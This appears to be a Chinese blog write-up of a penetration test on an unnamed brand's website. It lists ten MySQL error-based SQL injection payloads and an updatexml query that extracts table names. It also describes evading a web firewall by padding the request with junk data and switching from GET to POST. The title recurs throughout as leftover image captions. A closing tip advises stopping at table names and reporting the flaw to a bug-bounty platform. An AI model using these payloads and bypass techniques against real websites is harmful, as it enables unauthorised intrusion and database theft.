對某知名品牌官方網站的一次滲透測試

對某知名品牌官方網站的一次滲透測試

對某個企業進行滲透測試

發現有報錯注入

拓展一下10種報錯注入的方式

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

對某知名品牌官方網站的一次滲透測試

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

對某知名品牌官方網站的一次滲透測試

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

對某知名品牌官方網站的一次滲透測試

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

對某知名品牌官方網站的一次滲透測試

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

對某知名品牌官方網站的一次滲透測試

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

對某知名品牌官方網站的一次滲透測試

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

對某知名品牌官方網站的一次滲透測試

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

對某知名品牌官方網站的一次滲透測試

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

對某知名品牌官方網站的一次滲透測試

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

對某知名品牌官方網站的一次滲透測試


我們選擇update報錯注入

查看錶


對某知名品牌官方網站的一次滲透測試

updatexml(1,concat(0x7e,(SELECT group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)-- -

被攔截,想想怎麼繞過

後來想到加垃圾數據


對某知名品牌官方網站的一次滲透測試

加入下面生成的垃圾數據,但是414了,get傳不了這麼長的數據


對某知名品牌官方網站的一次滲透測試

生成的垃圾數據


抓包


對某知名品牌官方網站的一次滲透測試

GET改成POST


對某知名品牌官方網站的一次滲透測試

注入數據放在後面

send


對某知名品牌官方網站的一次滲透測試

獲取到表名


小貼士

對網站做滲透測試,不要拿數據,能證明有sql注入洞,並且有危害就行了,所以大家做測試的時候拿到表名就可以交補天了


分享到:


相關文章: